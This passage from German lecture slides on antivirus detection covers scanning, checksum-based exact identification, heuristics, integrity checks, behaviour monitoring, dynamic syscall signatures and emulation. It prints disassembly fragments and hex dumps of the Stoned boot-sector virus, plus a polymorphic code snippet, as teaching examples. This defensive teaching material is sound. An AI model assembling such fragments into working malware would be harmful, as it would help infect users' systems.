(innerhalb des Virus) bekannt istI nur soviel durchmustern, wie der gesucht Virus lang ist

Reduktion der Scan-Durchläufe:I nur befallbare Dateien durchmustern (ausführbare,

Dokumente)I Ergebnisse früherer Scans speichern, nur erneut scannen,

wenn Datei modifiziert wurde (Erkennung der Modifikation?Checksummen? Integritätssicherung der Datenbank)

82 / 95

Exakte Identifikation

Idee:I Alle konstanten Teile eines Virus ermitteln (Map).I Checksumme (z. B. CRC) über Map

Voraussetzungen:I Virus vollständig analysiert und verstandenI Variablen identifiziert,I Länge des Virus ermittelt

83 / 95

Beispiel: Stoned-Virus

1. Variablen:seg000 :7 c00 bodyzero :seg000 :7 c00 jmp f a r p t r 7c0h :5seg000 :7 c05 jmp s t a r tseg000 :7 c05 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c08 f l a g db 0 ; ; hard d isk or d i sk e t t e?seg000 :7 c09 i n t 1 3 o f f dw 251h ; DATA XREFseg000 :7 c0b in t13seg dw 0c800h ; DATA XREFseg000 :7 c0d jumps ta r t dw 0e4h ; o f f s e t to makeseg000 :7 c0d ; i n t e r segment jumpseg000 :7 c0f v i russeg dw 9f80h ; DATA XREFseg000 :7 c11 b o o t o f f dw 7c00h ; to bootseg000 :7 c13 botseg dw 0 ; segmentseg000 :7 c15 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c15 push dsseg000 :7 c16 push ax

Anfang des Stoned-Virus, nach [Szor05]

84 / 95

Beispiel: Stoned-Virus

2. Länge des Virus:seg000 :7 cd3 mov cs , 1B8h ; 440 bytesseg000 :7 cd6 push csseg000 :7 cd7 pop dsseg000 :7 cd8 xor s i , s i ; copy code to memoryseg000 :7 cda mov di , s iseg000 :7 cdc c ldseg000 :7 cdd rep movsbseg000 :7 cdf jmp dword p t r cs :0 dh

Kopierroutine, nach [Szor05]

→ Map des Virus: 0x00–0x07, 0x0d–0x0e, 0x11-0x187

85 / 95

Identifikation von Varianten

Virus Name: Stoned.A Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523D929

0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2053746F6E656421 C is now Stoned!0000:01A0 070D0A0A004C4547 414C495345204D41 .....LEGALISE MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Ausschnitt aus Stoned.A

Virus Name: Stoned.B Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523C769

0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2073746F6E656421 C is now stoned!0000:01A0 070D0A0A004C4547 414C495A45004D41 .....LEGALIZE.MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Ausschnitt aus Stoned.B

86 / 95

Probleme mit polymorphen Viren

MOV AX, 65A1XCHG DX, AXMOV AX, DXMOV BP, AXADD EBP, 69BDAA5FMOV BX, BPXCHG BL, DHMOV BL, BYTE PTR DS:[43A5]XCHG BL, DHCMP BYTE PTR GS:[B975], DHSUB DH, BYTE PTR DS:[6003]MOV AH, DHINT 21

Problem: welchen Wert haben AH und BX bei Aufruf desInterrupts?→ nur durch Emulator zu ermitteln.

87 / 95

Nutzung von statischen Heuristiken

Grundidee:I Identifikation von Merkmalen, die Viren von anderer

Software unterscheiden,I Suche nach diesen Merkmalen in Dateien,I Addition und Wichtung gefundener Merkmale,I Entscheidung, ob Virus oder nicht.

Vorteil: neue, unbekannte Viren können damit (potentiell)gefunden werden, vollständige Analyse nicht nötigHauptproblem: zuviele false positivesNegative Heuristiken: Suche nach Code, der in Viren garantiertnicht vorkommt (z.B. Dialogboxen)Spektrale Analyse: Histogramm der in einem Programmbefindlichen Instruktionen

88 / 95

Virentypische Merkmale (Auswahl)

I Junk CodeI DekryptorenI Selbstmodifizierender CodeI virustypischer Code

Beispiel: Suche nach dem Marker des PE-Binärformatscmp ax, "MZ"

I Instruktionen, die der Compiler nicht generiertI Ausführung startet am Ende einer Datei (Sprung dahin)I Manipulation von Interruptvektoren (MS-DOS)I Nutzung undokumentierter FunktionenI Zeichenketten mit Obszönitäten ;-)

89 / 95

Integritätsprüfungen

Idee:I Viren modifizieren Dateien (Ausnahme?)→I Bildung einer Checksumme über jeder uninfizierten Datei,I Speicherung der Checksumme in Datenbank,I späterer Vergleich gespeicherter mit aktueller

Checksumme.Realisierungsmöglichkeiten:

1. externes Programm, periodischer Aufruf,2. Selbsttest in ausführbaren Dateien,3. impliziter Test durch OS beim Aufruf (Integrity Shell)

90 / 95

Integritätsprüfungen – Bewertung

I für bekannte und unbekannte Viren möglichI Detektion erst nach InfektionI unmöglich, in legal modifizierten oder neuen Dateien Viren

zu findenI Ursache der Infektion nicht ermittelbarI keine VirusidentifikationI Datenbank ist ein bevorzugtes Angriffsziel von Retroviren

91 / 95

Behavior Blockers/Monitors

Idee: Beobachtung der Aktivität von Prozessen undBlockierung/Meldung von „verdächtigen“ Aktivitäten

I erlaubt potentiell die Ausführung eines VirusI Verschlüsselung von Viren wirkungslosI nur relevante Operationen beobachten (Aufwand!), z.B.

I/O, SystemrufeI nachteilig: Payload wird u. U. ausgeführt

Beispiel einer verdächtigen Aktion:1. Öffnen einer Binärdatei zum Lesen und Schreiben2. Einlesen des Teils des File Headers, der Startadresse

enthält3. Schreiben des zuvor eingelesenen Teils4. Seek zum Ende der Datei und Append-Operation

92 / 95

Dynamische Signaturen

Idee: Ableitung von Signaturen aus der Sequenz relevanterSystemereignisse (z. B. Systemrufe) und Anwendung derstatischen Suchverfahren

open, open, read

open, read, write

read, write, read

write, read, write

read, write, close

write, close, close close, close

write, close

write, read

read, write

open, read

open, open

open

open

read

write

read

write

read

write

close

closedynamische Signaturen (k=2)dynamische Signaturen (k=3)

Syscall Trace

Abbildung: Beispiel (kurzer) dynamischer Signaturen

93 / 95

Emulation

Idee: Code Nutzung eines CPU-Simulators, um Viruscodeungefährdet ausführen zu können

I innerhalb der Anti-Viren-SoftwareI komplexer Code zu verstehen

94 / 95

Was haben wir gelernt?

Techniken der VirusdetektionI ScanningI Exakte IdentifikationI Statische HeuristikenI IntegritätsprüfungenI Emulation

Nur die Kombination aller Techniken ist erfolgversprechend.

95 / 95

Recommended